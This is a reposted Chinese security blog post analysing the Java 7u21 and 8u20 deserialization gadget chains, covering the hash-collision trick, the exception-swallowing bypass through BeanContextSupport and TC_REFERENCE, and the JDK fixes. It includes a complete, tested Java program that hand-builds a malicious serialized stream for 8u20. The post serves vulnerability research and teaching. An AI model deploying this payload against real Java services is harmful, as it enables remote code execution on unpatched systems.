7u21 与 8u20
文章转载自:https://koalr.me/post/7u21-and-8u20/
做安全的有谁不喜欢这两串符号呢?
接上一篇 CommonsCollections 的分析,我们注意到有几个利用链只依赖于 CC 本身的版本,这种利用链是很香的,在实战中也相对容易成功。那有没有一种利用链,它一个库都不依赖,只要装了 Java 就能反序列化呢?这便是两个至今仍然强力的反序列化 Gadget —— 7u21 和 8u20 。他们非常罕见的只与 Java 版本有关的 Gadget,也就说在没有防护的状态下,只要 Java 版本符合这两个 Gadget 的要求并存在可以反序列化的点就可以直接 RCE,可以说是非常的 Amazing。这种利用链的挖掘难度非常大,整个利用过程环环相扣,各种小技巧令人咋舌,我读来感觉获益匪浅。今天我以一种鉴赏艺术的心情记录一下这两个利用链。
7u21
依赖
JRE.main == 6 && JRE <= ?? (未调研,到某个版本就修了)
JRE.main == 7 && JRE <= 7u21
利用链
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
...
关键点
为了方便理解,我将这个利用链拆成了两部分来看,第一部分:
Templates tpl = MyGadget.createTemplate();
Map m = new HashMap();
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Deprecated.class, m);
Field i = handler.getClass().getDeclaredField("type");
i.setAccessible(true);
i.set(handler, Templates.class);
m.put("foo", tpl);
Templates proxy= (Templates)Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, handler);
// 这里将触发 Templates 的实例化
proxy.equals(tpl);
当调用 proxy.equals(tpl) 时,由于 proxy 是个动态代理,实际调用的是 InvocationHandler 中的这段代码 invoke 函数,并将调用逐级传递下去最终调用了 TemplatesImpl.newTransformer
// sun.reflect.annotation.AnnotationInvocationHandler#invoke
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]); // 实际调用的是这个
} else {
assert var5.length == 0;
....
// sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
// 这里获取了 TemplateImpl 的所有无需参数的方法
// 其中的 TemplateTmpl.getOutputProperties() 会调用 newTransformer() 进而触发RCE
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
...
// sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods
// 获取所有的空参数的方法
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
那么只要接下来能够触发上面的 proxy.equals 就可以完成整个利用链的构造了。在这里先补充一个小 trick,**f5a5a608 **和空字符串的 hashcode 都是 0:
"".hashcode() == "f5a5a608".hashcode() == 0
接下来便是这个利用链的主角了 LinkedHashSet ,这个是基于 HashMap 封装的一个 有序 Set,这个有序是个关键点之一,需要保证反序列化时 hash add 的顺序固定。在 HashMap add 时,实际调用的是这段代码:
// java.util.HashMap#put
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
注意到这里有个 key.equals ,如果我们能设法将这里的 key 变为 proxy,k 变为 tpl,那么就能实现上面的 proxy.equals(tpl) ,稍加观察就会发现 for 循环里的其实就是碰撞处理的代码,只要 hash 值一样,那么就一定会碰撞,如何制造碰撞呢?这不得不佩服前辈们的睿智
Templates tpl = MyGadget.createTemplate();
Map m = new HashMap();
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Deprecated.class, m);
Field i = handler.getClass().getDeclaredField("type");
i.setAccessible(true);
i.set(handler, Templates.class);
String zeroHashCodeStr = "f5a5a608";
m.put(zeroHashCodeStr, tpl);
Templates proxy= (Templates)Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, handler);
// proxy.equals(tpl);
HashSet set = new LinkedHashSet();
set.add(tpl);
set.add(proxy);
将上面的代码稍微调整下,map 的 key 从 foo 改为 f5a5a608 ,同时给 LinkedHashSet 加上了两个元素,这样一运行就可以触发前面的利用逻辑。我们刚说到制造 hash 一致的碰撞是关键,那这里的 tpl 和 proxy 为何会 hash 一致呢?
tpl 的 hashcode 调用的就是 Object.hashcode() 是 jvm 返回的,没有什么特殊逻辑。proxy 调用 hashcode 时,调用链是这样的
// sun.reflect.annotation.AnnotationInvocationHandler#invoke
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
...
// sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
可以看到 AnnotationInvocationHandler 和 memberValues 所有的 key 和 value 有关,可以简化为:
int a = 0;
for k,v := memberValues {
a += (127 * k.hashcode()) ^ v.hashcode()
}
如果想要这个结果是 tpl 的 hashcode,有个技巧就是让 k.hashcode() 为 0,v 是 tpl,而 f5a5a608 这个字符串的 hashcode 刚好为 0,这样一来,tpl 和 proxy 的 hashcode 就相同了,后面的流程就和 proxy.equals 一样了。
最后,map 的 readObject 时会进行 add 操作,这就将整个流程连起来了,我们自上而下梳理下关键点:
map.readObject 触发 add(put) 操作
第一个元素是 tpl,hash 计算返回的的是 tpl.hashcode() ,由 jvm 动态计算生成
第二个元素是 proxy, hash 计算时调用 invoke 函数最终会根据 AnnotationInvocationHandler 的内置 map 的 k,v 去计算,如果我们让 k 是 f5a5a608 ,v 是 tpl,就可以让 proxy.hashcode() 的返回值和 tpl.hashcode() 一致
map put 出现碰撞,调用 equals 函数去深度判断是否相等,最后调用了 invoke 函数,进而调用了 TemplateImpl.newTransformer() 完成利用
整条利用链一气呵成,非常优美。
修复方式
很快 JDK 在 Ju25 中就修了这个链,修复方式为:
// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
这里在 defaultReadObject 之后对 this.type 做了一个类型判断,如果不是 AnnotationType 就会直接异常退出,我们传入的 type 是 Templates.class ,必然会异常,导致这条链就断裂了。如此神奇的利用链却只有少数几个 Java 版本可用着实令人惋惜,难道 7u21 的光辉就此而止了吗?
8u20
依赖
JRE.main == 6 && JRE = ?? (未调研)
JRE.main == 7 && JRE > 7u21 && JRE < ?? (未调研)
JRE.main == 8 && JRE <= 8u20
利用链
核心逻辑与 7u21 几乎一致,仅多了异常处理的部分
关键点
我们观察针对 7u21 的修复,可以发现对 type 的判断发生在 defaultReadObject 之后,也就是说在判断时其实已经完成了反序列化,而这就是 8u20 这个链存在的基础,8u20 其实就是通过手动构造反序列化数据流绕过了这里的限制,关键点有两个:
如果有办法将 7u21 的 exception catch 住,就可以避免 exception 打断反序列化流程
Java 反序列化流存在 TC_REFERENCE 这个字段,可以直接引用一个已经存在 Object 减少流数据冗余
Try Exception
先说第一个,如果存在一个类的 readObject 类似这样,我们就可以将 AnnotationInvocationHandler 设法放在 try 块内,就可以避免 exception 的向上抛出 :
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("input.readObject error");
}
}
8u20 用的是 BeanContextSupport ,这个类的 readObject 实现如下:
// java.beans.beancontext.BeanContextSupport#readObject
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois); // 进入这里
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
// java.beans.beancontext.BeanContextSupport#readChildren
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject(); // 设法让 payload 在这被读取
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
}
...
我们要做的就是按照其流程合理的设置一些字段的值使其能不报错的序列化完我们定义的 AnnotationInvocationHandler 即可。
TC_REFERENCE
Java 反序列化存在引用机制,避免我们重复写入完全相同的元素,比如这里的一个数组中两个元素指向的是同一个:
String t = "test";
String[] ts = new String[]{t, t};
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(ts);
其对应的反序列化流为:
// java -jar SerializationDumper-v1.1.jar -r out.bin
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_ARRAY - 0x75
TC_CLASSDESC - 0x72
...
newHandle 0x00 7e 00 01
Array size - 2 - 0x00 00 00 02
Values
Index 0:
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 4 - 0x00 04
Value - test - 0x74657374
Index 1:
(object)
TC_REFERENCE - 0x71
Handle - 8257538 - 0x00 7e 00 02 // 引用第一个
注意到第二个元素引用了第一个元素的 handle 0x00 7e 00 02 而没有再重写完整写入。handle 的值是从 0x7e0001 开始递增的,且不能向后引用,只能引用当前流状态中已经分配过的 handle 值。
Chain
我们将上面两条结合起来看,如果将 AnnotationInvocationHandler 合理的放置在 BeanContextSupport 中使其异常被处理掉,由于在异常出现之前反序列化实际已经完成,反序列化时已经被分配了一个有效的 handle 值可以被后续引用,那么后面就可以直接通过 TC_REFERENCE 来引用已经序列化好的 AnnotationInvocationHandler 从而可以继续走完 Jdk7u21 的利用链。
这个利用链难点不在原理,而在于需要手动构造反序列化流,因为这种流不是标准流,没法通过原生序列化操作直接生成。我也有注意到有大佬自行做了一个 SerialWriter,可以自己去组合流中的数据。在我看来这类工具适合在手工非常熟练之后再去用,如果对反序列化流的构成都不清楚,上来就用工具类只会无从下手,况且借助一些工具手写反序列化流真的不复杂,反而比较有趣。我这里不去展开如何一点点构造这条反序列化链,只说两个关键点:
通过为 classDescFlags 增加 SC_WRITE_METHOD 可以在 ClassAnnotation 或 ObjectAnnotation 部分增加自定义数据,我自己写的利用链中 BeanContextSupport 就是找了一个比较靠前的位置写在了 HashSet 的 ClassAnnotation 里。
虽然 exception 按预期会被 try 住,但内层的 readObject 实际没有正常结束,导致 java.io.ObjectInputStream#skipCustomData 没有被调用,结果就是流中会多一个 TC_ENDBLOCKDATA ,生成的时候要把这个去掉。
我本地测试过的写法如下,测试过的环境包括: 6u_191、 8u20
public class Jdk8u20 {
public static void main(String[] args) throws Exception {
// Templates tpl = (Templates)Gadgets.createTemplatesImpl("open /Applications/Calculator.app");
Templates tpl = MyGadget.createTemplate();
// get templates internal bytecode
Field i = tpl.getClass().getDeclaredField("_bytecodes");
i.setAccessible(true);
byte[][] bytecodes = (byte[][]) i.get(tpl);
// ysoserial 中的 bytecodes 由两部分,为了避免第二个对偏移量的影响,直接去掉了
if (bytecodes.length == 2) {
bytecodes = new byte[][]{bytecodes[0]};
}
Object[] obj = new Object[]{
STREAM_MAGIC, STREAM_VERSION, // stream headers
// (1) LinkedHashSet
TC_OBJECT,
TC_CLASSDESC,
LinkedHashSet.class.getName(),
-2851667679971038690L,
(byte) SC_SERIALIZABLE, // flags
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_CLASSDESC, // super class
HashSet.class.getName(),
-5024744406713321676L,
(byte) 3, // flags
(short) 0, // field count
// hashset class annotations
// ========= start TemplatesTmpl ========
TC_OBJECT,
TC_CLASSDESC,
TemplatesImpl.class.getName(),
673094361519270707L,
(byte) (SC_WRITE_METHOD | SC_SERIALIZABLE),
(short) 5, // 这里只写入必须写入的几个 field
(byte) 'I', "_indentNumber",
(byte) 'I', "_transletIndex",
(byte) 'Z', "_useServicesMechanism",
(byte) '[', "_bytecodes", TC_STRING, "[[B",
(byte) 'L', "_name", TC_STRING, "Ljava/lang/String;",
TC_ENDBLOCKDATA,
TC_NULL,
1, // _indentNumber
-1, // _transletIndex
true, // _useServiesMechanism
bytecodes,
TC_STRING, "abc", // _name
TC_BLOCKDATA, (byte) 0x01, (byte) 0x00,
TC_ENDBLOCKDATA,
// ======== end TemplatesTmpl ==========
// ========= start BeanContextSupport ==========
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L,
(byte) (SC_WRITE_METHOD | SC_SERIALIZABLE), // WRITE_METHOD means use custom readObject method
(short) 1, // field count
(byte) 'I', "serializable",
TC_ENDBLOCKDATA,
// superclass : BeanContextChildSupport
TC_CLASSDESC,
BeanContextChildSupport.class.getName(),
6328947014421475877L,
(byte) (SC_WRITE_METHOD | SC_SERIALIZABLE),
(short) 1,
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL,
// superclass data: BeanContextChildSupport
TC_REFERENCE, baseWireHandle + 0x0e,
TC_ENDBLOCKDATA,
1, // serializable
// start AnnotationInvocationHandler
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L,
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 2, // field count
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",
TC_ENDBLOCKDATA,
TC_NULL,
//hashmap Data
TC_OBJECT,
TC_CLASSDESC,
java.util.HashMap.class.getName(),
362498820763181265L,
(byte) (SC_WRITE_METHOD | SC_SERIALIZABLE),
(short) 2, // ignore fields
(byte) 'F', "loadFactor",
(byte) 'I', "threshold",
TC_ENDBLOCKDATA,
TC_NULL,
// map values
(byte) 0x3f, (byte) 0x40, (byte) 0x00, (byte) 0x00, // loadFactor
12, // threshold
TC_BLOCKDATA, (byte) 0x08, 0x10, 0x01, // table.length, size
TC_STRING, "f5a5a608", // key
TC_REFERENCE, baseWireHandle + 0x05, // value
TC_ENDBLOCKDATA,
// type value
TC_CLASS,
TC_CLASSDESC,
javax.xml.transform.Templates.class.getName(),
0L, // serialVersionUID
(byte) (SC_WRITE_METHOD | SC_SERIALIZABLE), // flag
(short) 0, // field count
TC_ENDBLOCKDATA,
TC_NULL,
// TC_ENDBLOCKDATA, // 这里不能加 END,因为流异常吃不掉这个字节
TC_BLOCKDATA, (byte) 0x04, 0,
TC_ENDBLOCKDATA,
// ========= END BeanContextSuppport ========
TC_ENDBLOCKDATA,
TC_NULL,
// end hashset class annotations
// hashSet blockData
TC_BLOCKDATA,
(byte) 12,
16, // capacity
(byte) 0x3f, (byte) 0x40, (byte) 0x00, (byte) 0x00,
2, // size
// template object
TC_REFERENCE, baseWireHandle + 0x05,
// write PROXY OBJECT desc
TC_OBJECT,
TC_PROXYCLASSDESC,
1, javax.xml.transform.Templates.class.getName(), // proxy interface count and its names
TC_ENDBLOCKDATA,
// proxy superclass desc
TC_CLASSDESC,
java.lang.reflect.Proxy.class.getName(),
-2222568056686623797L,
SC_SERIALIZABLE,
(short) 1, // field count
(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;",
TC_ENDBLOCKDATA,
TC_NULL, // no superclass
TC_REFERENCE, baseWireHandle + 0x12,
TC_ENDBLOCKDATA,
};
FileOutputStream out = new FileOutputStream("out.bin");
out.write(Converter.toBytes(obj));
out.close();
ObjectInputStream is = new ObjectInputStream(new FileInputStream("out.bin"));
System.out.println(is.readObject());
}
}
修复方式
针对 8u20,我看到的有两种修复方式,分别是 jdk7 和 8 中的,其中 7 中增加了对 memberMethods 的验证:
// jdk7_80 sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
// 这里的 var1 是 newTransformer 和 getOutputProperties
AnnotationInvocationHandler.this.validateAnnotationMethods(var1); // 增加了这个函数
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
validateAnnotationMethods 内对 methods 有一堆校验,利用流程是走不通的。也就是尽管实例化过程没报错,但后续触发利用的逻辑被拦了。而8中的修复方式相对更治标一些:
// jdk8_191 sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields(); // 这里没有直接 defaultReadObject 了
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
...
使用 readFields 替换了之前的 defaultReadObject ,这样一来就没有可以引用的东西了,8u20 自然无从谈起。
总结
总体来看 7u21 这条链始于 Hashset,终于 TemplatesImpl,由 AnnotationInvocationHandler 承上启下。8u20 是对 Jdk7u21 生命的延续,利用链完全一致,但通过手动构造对象引用,绕过了 exception 的限制。值得一提的是,8u20 最终的反序列化流可以变成和 7u21 仅一字(byte)之差,如果将我写的 8u20 的实现去掉里面 // TC_ENDBLOCKDATA, 处的注释,那么就可以完美的变成 7u21。差之毫厘谬以千里,大概就是这种感觉。不过这也意味着,8u20 并不是 7u21 的超集,就因为这一个字节的差异,两个 Gadget 支持的环境范围是不存在交集的。类似的,我将 8u20 这个利用链也加入了我的 ysoserial 中,可以比较方便的生成使用 https://github.com/zema1/ysoserial
我们回看一下 8u20 的修复方式,8中的修复方式没有什么可以突破的了。相比下对7的修复似乎没那么绝情。如果我们有办法控制 memberMethods 的内容,在反序列化时就设置好,这样就不会进入函数校验的函数。可惜这一项是 transient 修饰的,我们手动设置的属性不会生效。我觉得有一种理想情况是,找到一个类会在 readObject 时会通过反射设置一些属性,且该属性和属性的值都是我们可控的,这样就可以通过反射来填充 memberMethods 从而绕过限制,估计不太能找到了。